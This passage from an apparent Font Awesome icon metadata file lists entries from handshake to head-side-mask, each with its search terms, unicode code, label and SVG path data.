0 0 0 432 64H205.2c-14.8 0-29.1 5.9-39.6 16.3L118 127.9H0v255.7h64c17.6 0 31.8-14.2 31.9-31.7h9.1l84.6 76.4c30.9 25.1 73.8 25.7 105.6 3.8 12.5 10.8 26 15.9 41.1 15.9 18.2 0 35.3-7.4 48.8-24 22.1 8.7 48.2 2.6 64-16.8l26.2-32.3c5.6-6.9 9.1-14.8 10.9-23h57.9c.1 17.5 14.4 31.7 31.9 31.7h64V127.9H519.2zM48 351.6c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16zm390-6.9l-26.1 32.2c-2.8 3.4-7.8 4-11.3 1.2l-23.9-19.4-30 36.5c-6 7.3-15 4.8-18 2.4l-36.8-31.5-15.6 19.2c-13.9 17.1-39.2 19.7-55.3 6.6l-97.3-88H96V175.8h41.9l61.7-61.6c2-.8 3.7-1.5 5.7-2.3H262l-38.7 35.5c-29.4 26.9-31.1 72.3-4.4 101.3 14.8 16.2 61.2 41.2 101.5 4.4l8.2-7.5 108.2 87.8c3.4 2.8 3.9 7.9 1.2 11.3zm106-40.8h-69.2c-2.3-2.8-4.9-5.4-7.7-7.7l-102.7-83.4 12.5-11.4c6.5-6 7-16.1 1-22.6L367 167.1c-6-6.5-16.1-6.9-22.6-1l-55.2 50.6c-9.5 8.7-25.7 9.4-34.6 0-9.3-9.9-8.5-25.1 1.2-33.9l65.6-60.1c7.4-6.8 17-10.5 27-10.5l83.7-.2c2.1 0 4.1.8 5.5 2.3l61.7 61.6H544v128zm48 47.7c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "handshake-alt-slash": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "broken", + "covid-19", + "social distance" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e05f", + "label": "Handshake Alternate Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635527, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M358.59,195.6,504.2,313.8a63.4,63.4,0,0,1,22.21,37.91H624a16.05,16.05,0,0,0,16-16V143.91A16,16,0,0,0,624,128H512L457.41,73.41A32,32,0,0,0,434.8,64H348.91a32,32,0,0,0-21.61,8.41l-88.12,80.68-25.69-19.85L289.09,64H205.3a32,32,0,0,0-22.6,9.41l-20.34,20.3L45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.54,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45L303.4,202.72l32.69-29.92,27-24.7a16,16,0,0,1,21.61,23.61ZM16,128A16.05,16.05,0,0,0,0,144V335.91a16,16,0,0,0,16,16H146.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L23.56,128Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M358.59,195.6,504.2,313.8a63.4,63.4,0,0,1,22.21,37.91H624a16.05,16.05,0,0,0,16-16V143.91A16,16,0,0,0,624,128H512L457.41,73.41A32,32,0,0,0,434.8,64H348.91a32,32,0,0,0-21.61,8.41l-88.12,80.68-25.69-19.85L289.09,64H205.3a32,32,0,0,0-22.6,9.41l-20.34,20.3L45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.54,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45L303.4,202.72l32.69-29.92,27-24.7a16,16,0,0,1,21.61,23.61ZM16,128A16.05,16.05,0,0,0,0,144V335.91a16,16,0,0,0,16,16H146.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L23.56,128Z" + } + }, + "free": [ + "solid" + ] + }, + "handshake-slash": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "broken", + "covid-19", + "social distance" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e060", + "label": "Handshake Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635528, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0,128.21V384H64a32,32,0,0,0,32-32V184L23.83,128.21ZM48,320.1a16,16,0,1,1-16,16A16,16,0,0,1,48,320.1Zm80,31.81h18.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L128,208.72Zm416-223.7V352.1a32,32,0,0,0,32,32h64V128.21ZM592,352.1a16,16,0,1,1,16-16A16,16,0,0,1,592,352.1ZM303.33,202.67l59.58-54.57a16,16,0,0,1,21.59,23.61L358.41,195.6,504,313.8a73.08,73.08,0,0,1,7.91,7.7V128L457.3,73.41A31.76,31.76,0,0,0,434.7,64H348.8a31.93,31.93,0,0,0-21.6,8.41l-88.07,80.64-25.64-19.81L289.09,64H205.3a32,32,0,0,0-22.6,9.41L162.36,93.72,45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.65-25.27a16,16,0,0,0-2.82-22.45Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M0,128.21V384H64a32,32,0,0,0,32-32V184L23.83,128.21ZM48,320.1a16,16,0,1,1-16,16A16,16,0,0,1,48,320.1Zm80,31.81h18.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L128,208.72Zm416-223.7V352.1a32,32,0,0,0,32,32h64V128.21ZM592,352.1a16,16,0,1,1,16-16A16,16,0,0,1,592,352.1ZM303.33,202.67l59.58-54.57a16,16,0,0,1,21.59,23.61L358.41,195.6,504,313.8a73.08,73.08,0,0,1,7.91,7.7V128L457.3,73.41A31.76,31.76,0,0,0,434.7,64H348.8a31.93,31.93,0,0,0-21.6,8.41l-88.07,80.64-25.64-19.81L289.09,64H205.3a32,32,0,0,0-22.6,9.41L162.36,93.72,45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.65-25.27a16,16,0,0,0-2.82-22.45Z" + } + }, + "free": [ + "solid" + ] + }, + "hanukiah": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "candle", + "hanukkah", + "jewish", + "judaism", + "light" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6e6", + "label": "Hanukiah", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635529, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M232 160c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm-64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm224 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm88 8c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v120h32V168zm-440-8c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm520 0h-32c-8.84 0-16 7.16-16 16v112c0 17.67-14.33 32-32 32H352V128c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v192H96c-17.67 0-32-14.33-32-32V176c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v112c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V176c0-8.84-7.16-16-16-16zm-16-32c13.25 0 24-11.94 24-26.67S608 48 608 48s-24 38.61-24 53.33S594.75 128 608 128zm-576 0c13.25 0 24-11.94 24-26.67S32 48 32 48 8 86.61 8 101.33 18.75 128 32 128zm288-48c13.25 0 24-11.94 24-26.67S320 0 320 0s-24 38.61-24 53.33S306.75 80 320 80zm-208 48c13.25 0 24-11.94 24-26.67S112 48 112 48s-24 38.61-24 53.33S98.75 128 112 128zm64 0c13.25 0 24-11.94 24-26.67S176 48 176 48s-24 38.61-24 53.33S162.75 128 176 128zm64 0c13.25 0 24-11.94 24-26.67S240 48 240 48s-24 38.61-24 53.33S226.75 128 240 128zm160 0c13.25 0 24-11.94 24-26.67S400 48 400 48s-24 38.61-24 53.33S386.75 128 400 128zm64 0c13.25 0 24-11.94 24-26.67S464 48 464 48s-24 38.61-24 53.33S450.75 128 464 128zm64 0c13.25 0 24-11.94 24-26.67S528 48 528 48s-24 38.61-24 53.33S514.75 128 528 128z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M232 160c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm-64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm224 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm88 8c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v120h32V168zm-440-8c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm520 0h-32c-8.84 0-16 7.16-16 16v112c0 17.67-14.33 32-32 32H352V128c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v192H96c-17.67 0-32-14.33-32-32V176c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v112c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V176c0-8.84-7.16-16-16-16zm-16-32c13.25 0 24-11.94 24-26.67S608 48 608 48s-24 38.61-24 53.33S594.75 128 608 128zm-576 0c13.25 0 24-11.94 24-26.67S32 48 32 48 8 86.61 8 101.33 18.75 128 32 128zm288-48c13.25 0 24-11.94 24-26.67S320 0 320 0s-24 38.61-24 53.33S306.75 80 320 80zm-208 48c13.25 0 24-11.94 24-26.67S112 48 112 48s-24 38.61-24 53.33S98.75 128 112 128zm64 0c13.25 0 24-11.94 24-26.67S176 48 176 48s-24 38.61-24 53.33S162.75 128 176 128zm64 0c13.25 0 24-11.94 24-26.67S240 48 240 48s-24 38.61-24 53.33S226.75 128 240 128zm160 0c13.25 0 24-11.94 24-26.67S400 48 400 48s-24 38.61-24 53.33S386.75 128 400 128zm64 0c13.25 0 24-11.94 24-26.67S464 48 464 48s-24 38.61-24 53.33S450.75 128 464 128zm64 0c13.25 0 24-11.94 24-26.67S528 48 528 48s-24 38.61-24 53.33S514.75 128 528 128z" + } + }, + "free": [ + "solid" + ] + }, + "hard-hat": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "construction", + "hardhat", + "helmet", + "safety" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f807", + "label": "Hard Hat", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635529, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 288c0-80.25-49.28-148.92-119.19-177.62L320 192V80a16 16 0 0 0-16-16h-96a16 16 0 0 0-16 16v112l-40.81-81.62C81.28 139.08 32 207.75 32 288v64h448zm16 96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M480 288c0-80.25-49.28-148.92-119.19-177.62L320 192V80a16 16 0 0 0-16-16h-96a16 16 0 0 0-16 16v112l-40.81-81.62C81.28 139.08 32 207.75 32 288v64h448zm16 96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "hashtag": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Twitter", + "instagram", + "pound", + "social media", + "tag" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f292", + "label": "Hashtag", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635529, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M440.667 182.109l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l14.623-81.891C377.123 38.754 371.468 32 363.997 32h-40.632a12 12 0 0 0-11.813 9.891L296.175 128H197.54l14.623-81.891C213.477 38.754 207.822 32 200.35 32h-40.632a12 12 0 0 0-11.813 9.891L132.528 128H53.432a12 12 0 0 0-11.813 9.891l-7.143 40C33.163 185.246 38.818 192 46.289 192h74.81L98.242 320H19.146a12 12 0 0 0-11.813 9.891l-7.143 40C-1.123 377.246 4.532 384 12.003 384h74.81L72.19 465.891C70.877 473.246 76.532 480 84.003 480h40.632a12 12 0 0 0 11.813-9.891L151.826 384h98.634l-14.623 81.891C234.523 473.246 240.178 480 247.65 480h40.632a12 12 0 0 0 11.813-9.891L315.472 384h79.096a12 12 0 0 0 11.813-9.891l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l22.857-128h79.096a12 12 0 0 0 11.813-9.891zM261.889 320h-98.634l22.857-128h98.634l-22.857 128z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M440.667 182.109l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l14.623-81.891C377.123 38.754 371.468 32 363.997 32h-40.632a12 12 0 0 0-11.813 9.891L296.175 128H197.54l14.623-81.891C213.477 38.754 207.822 32 200.35 32h-40.632a12 12 0 0 0-11.813 9.891L132.528 128H53.432a12 12 0 0 0-11.813 9.891l-7.143 40C33.163 185.246 38.818 192 46.289 192h74.81L98.242 320H19.146a12 12 0 0 0-11.813 9.891l-7.143 40C-1.123 377.246 4.532 384 12.003 384h74.81L72.19 465.891C70.877 473.246 76.532 480 84.003 480h40.632a12 12 0 0 0 11.813-9.891L151.826 384h98.634l-14.623 81.891C234.523 473.246 240.178 480 247.65 480h40.632a12 12 0 0 0 11.813-9.891L315.472 384h79.096a12 12 0 0 0 11.813-9.891l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l22.857-128h79.096a12 12 0 0 0 11.813-9.891zM261.889 320h-98.634l22.857-128h98.634l-22.857 128z" + } + }, + "free": [ + "solid" + ] + }, + "hat-cowboy": { + "changes": [ + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "buckaroo", + "horse", + "jackeroo", + "john b.", + "old west", + "pardner", + "ranch", + "rancher", + "rodeo", + "western", + "wrangler" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f8c0", + "label": "Cowboy Hat", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635530, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M490 296.9C480.51 239.51 450.51 64 392.3 64c-14 0-26.49 5.93-37 14a58.21 58.21 0 0 1-70.58 0c-10.51-8-23-14-37-14-58.2 0-88.2 175.47-97.71 232.88C188.81 309.47 243.73 320 320 320s131.23-10.51 170-23.1zm142.9-37.18a16 16 0 0 0-19.75 1.5c-1 .9-101.27 90.78-293.16 90.78-190.82 0-292.22-89.94-293.24-90.84A16 16 0 0 0 1 278.53C1.73 280.55 78.32 480 320 480s318.27-199.45 319-201.47a16 16 0 0 0-6.09-18.81z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M490 296.9C480.51 239.51 450.51 64 392.3 64c-14 0-26.49 5.93-37 14a58.21 58.21 0 0 1-70.58 0c-10.51-8-23-14-37-14-58.2 0-88.2 175.47-97.71 232.88C188.81 309.47 243.73 320 320 320s131.23-10.51 170-23.1zm142.9-37.18a16 16 0 0 0-19.75 1.5c-1 .9-101.27 90.78-293.16 90.78-190.82 0-292.22-89.94-293.24-90.84A16 16 0 0 0 1 278.53C1.73 280.55 78.32 480 320 480s318.27-199.45 319-201.47a16 16 0 0 0-6.09-18.81z" + } + }, + "free": [ + "solid" + ] + }, + "hat-cowboy-side": { + "changes": [ + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "buckaroo", + "horse", + "jackeroo", + "john b.", + "old west", + "pardner", + "ranch", + "rancher", + "rodeo", + "western", + "wrangler" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f8c1", + "label": "Cowboy Hat Side", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635530, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M260.8 291.06c-28.63-22.94-62-35.06-96.4-35.06C87 256 21.47 318.72 1.43 412.06c-3.55 16.6-.43 33.83 8.57 47.3C18.75 472.47 31.83 480 45.88 480H592c-103.21 0-155-37.07-233.19-104.46zm234.65-18.29L468.4 116.2A64 64 0 0 0 392 64.41L200.85 105a64 64 0 0 0-50.35 55.79L143.61 226c6.9-.83 13.7-2 20.79-2 41.79 0 82 14.55 117.29 42.82l98 84.48C450.76 412.54 494.9 448 592 448a48 48 0 0 0 48-48c0-25.39-29.6-119.33-144.55-127.23z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M260.8 291.06c-28.63-22.94-62-35.06-96.4-35.06C87 256 21.47 318.72 1.43 412.06c-3.55 16.6-.43 33.83 8.57 47.3C18.75 472.47 31.83 480 45.88 480H592c-103.21 0-155-37.07-233.19-104.46zm234.65-18.29L468.4 116.2A64 64 0 0 0 392 64.41L200.85 105a64 64 0 0 0-50.35 55.79L143.61 226c6.9-.83 13.7-2 20.79-2 41.79 0 82 14.55 117.29 42.82l98 84.48C450.76 412.54 494.9 448 592 448a48 48 0 0 0 48-48c0-25.39-29.6-119.33-144.55-127.23z" + } + }, + "free": [ + "solid" + ] + }, + "hat-wizard": { + "changes": [ + "5.4.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "accessory", + "buckle", + "clothing", + "d&d", + "dnd", + "fantasy", + "halloween", + "head", + "holiday", + "mage", + "magic", + "pointy", + "witch" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6e8", + "label": "Wizard's Hat", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635532, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-304-64l-64-32 64-32 32-64 32 64 64 32-64 32-16 32h208l-86.41-201.63a63.955 63.955 0 0 1-1.89-45.45L416 0 228.42 107.19a127.989 127.989 0 0 0-53.46 59.15L64 416h144l-16-32zm64-224l16-32 16 32 32 16-32 16-16 32-16-32-32-16 32-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M496 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-304-64l-64-32 64-32 32-64 32 64 64 32-64 32-16 32h208l-86.41-201.63a63.955 63.955 0 0 1-1.89-45.45L416 0 228.42 107.19a127.989 127.989 0 0 0-53.46 59.15L64 416h144l-16-32zm64-224l16-32 16 32 32 16-32 16-16 32-16-32-32-16 32-16z" + } + }, + "free": [ + "solid" + ] + }, + "hdd": { + "changes": [ + "2", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "cpu", + "hard drive", + "harddrive", + "machine", + "save", + "storage" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f0a0", + "label": "HDD", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635532, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M576 304v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48zm-48-80a79.557 79.557 0 0 1 30.777 6.165L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L17.223 230.165A79.557 79.557 0 0 1 48 224h480zm-48 96c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm-96 0c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M576 304v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48zm-48-80a79.557 79.557 0 0 1 30.777 6.165L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L17.223 230.165A79.557 79.557 0 0 1 48 224h480zm-48 96c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm-96 0c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z" + }, + "regular": { + "last_modified": 1628088634853, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M567.403 235.642L462.323 84.589A48 48 0 0 0 422.919 64H153.081a48 48 0 0 0-39.404 20.589L8.597 235.642A48.001 48.001 0 0 0 0 263.054V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V263.054c0-9.801-3-19.366-8.597-27.412zM153.081 112h269.838l77.913 112H75.168l77.913-112zM528 400H48V272h480v128zm-32-64c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32zm-96 0c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M567.403 235.642L462.323 84.589A48 48 0 0 0 422.919 64H153.081a48 48 0 0 0-39.404 20.589L8.597 235.642A48.001 48.001 0 0 0 0 263.054V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V263.054c0-9.801-3-19.366-8.597-27.412zM153.081 112h269.838l77.913 112H75.168l77.913-112zM528 400H48V272h480v128zm-32-64c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32zm-96 0c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "head-side-cough": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cough", + "covid-19", + "germs", + "lungs", + "respiratory", + "sick" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e061", + "label": "Head Side Cough", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635533, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304ZM552,416a24,24,0,1,0,24,24A24,24,0,0,0,552,416Zm-64-56a24,24,0,1,0,24,24A24,24,0,0,0,488,360ZM616,464a24,24,0,1,0,24,24A24,24,0,0,0,616,464Zm0-104a24,24,0,1,0,24,24A24,24,0,0,0,616,360Zm-64-40a24,24,0,1,0,24,24A24,24,0,0,0,552,320Zm-74.78-45c-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192C86,0,0,86,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320a32,32,0,0,1,0-64h96V320h32A32,32,0,0,0,477.22,275ZM288,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,288,224Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304ZM552,416a24,24,0,1,0,24,24A24,24,0,0,0,552,416Zm-64-56a24,24,0,1,0,24,24A24,24,0,0,0,488,360ZM616,464a24,24,0,1,0,24,24A24,24,0,0,0,616,464Zm0-104a24,24,0,1,0,24,24A24,24,0,0,0,616,360Zm-64-40a24,24,0,1,0,24,24A24,24,0,0,0,552,320Zm-74.78-45c-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192C86,0,0,86,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320a32,32,0,0,1,0-64h96V320h32A32,32,0,0,0,477.22,275ZM288,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,288,224Z" + } + }, + "free": [ + "solid" + ] + }, + "head-side-cough-slash": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cough", + "covid-19", + "germs", + "lungs", + "respiratory", + "sick" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e062", + "label": "Head Side-cough-slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635533, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M454.11,319.21c19.56-3.81,31.62-25,23.11-44.21-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192A190.64,190.64,0,0,0,84.18,33.3L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM313.39,210.45,263.61,172c5.88-7.14,14.43-12,24.36-12a32.06,32.06,0,0,1,32,32C320,199,317.24,205.17,313.39,210.45ZM616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304Zm-64,64a24,24,0,1,0-24-24A24,24,0,0,0,552,368ZM288,384a32,32,0,0,1,32-32h19.54L20.73,105.59A190.86,190.86,0,0,0,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320A32,32,0,0,1,288,384Zm328-24a24,24,0,1,0,24,24A24,24,0,0,0,616,360Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M454.11,319.21c19.56-3.81,31.62-25,23.11-44.21-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192A190.64,190.64,0,0,0,84.18,33.3L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM313.39,210.45,263.61,172c5.88-7.14,14.43-12,24.36-12a32.06,32.06,0,0,1,32,32C320,199,317.24,205.17,313.39,210.45ZM616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304Zm-64,64a24,24,0,1,0-24-24A24,24,0,0,0,552,368ZM288,384a32,32,0,0,1,32-32h19.54L20.73,105.59A190.86,190.86,0,0,0,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320A32,32,0,0,1,288,384Zm328-24a24,24,0,1,0,24,24A24,24,0,0,0,616,360Z" + } + }, + "free": [ + "solid" + ] + }, + "head-side-mask": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "breath", + "covid-19", + "filter", + "respirator", + "virus" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e063", + "label": "Head Side Mask", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635534, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M.15,184.42C-2.17,244.21,23,298.06,64,334.88V512H224V316.51L3.67,156.25A182.28,182.28,0,0,0,.15,184.42ZM509.22,275c-21-47.12-48.5-151.75-73.12-186.75A208.11,208.11,0,0,0,266.11,0H200C117,0,42.48,50.57,13.25,123.65L239.21,288H511.76A31.35,31.35,0,0,0,509.22,275ZM320,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,320,224Zm16,144H496l16-48H256V512H401.88a64,64,0,0,0,60.71-43.76L464,464H336a16,16,0,0,1,0-32H474.67l10.67-32H336a16,16,0,0,1,0-32Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": 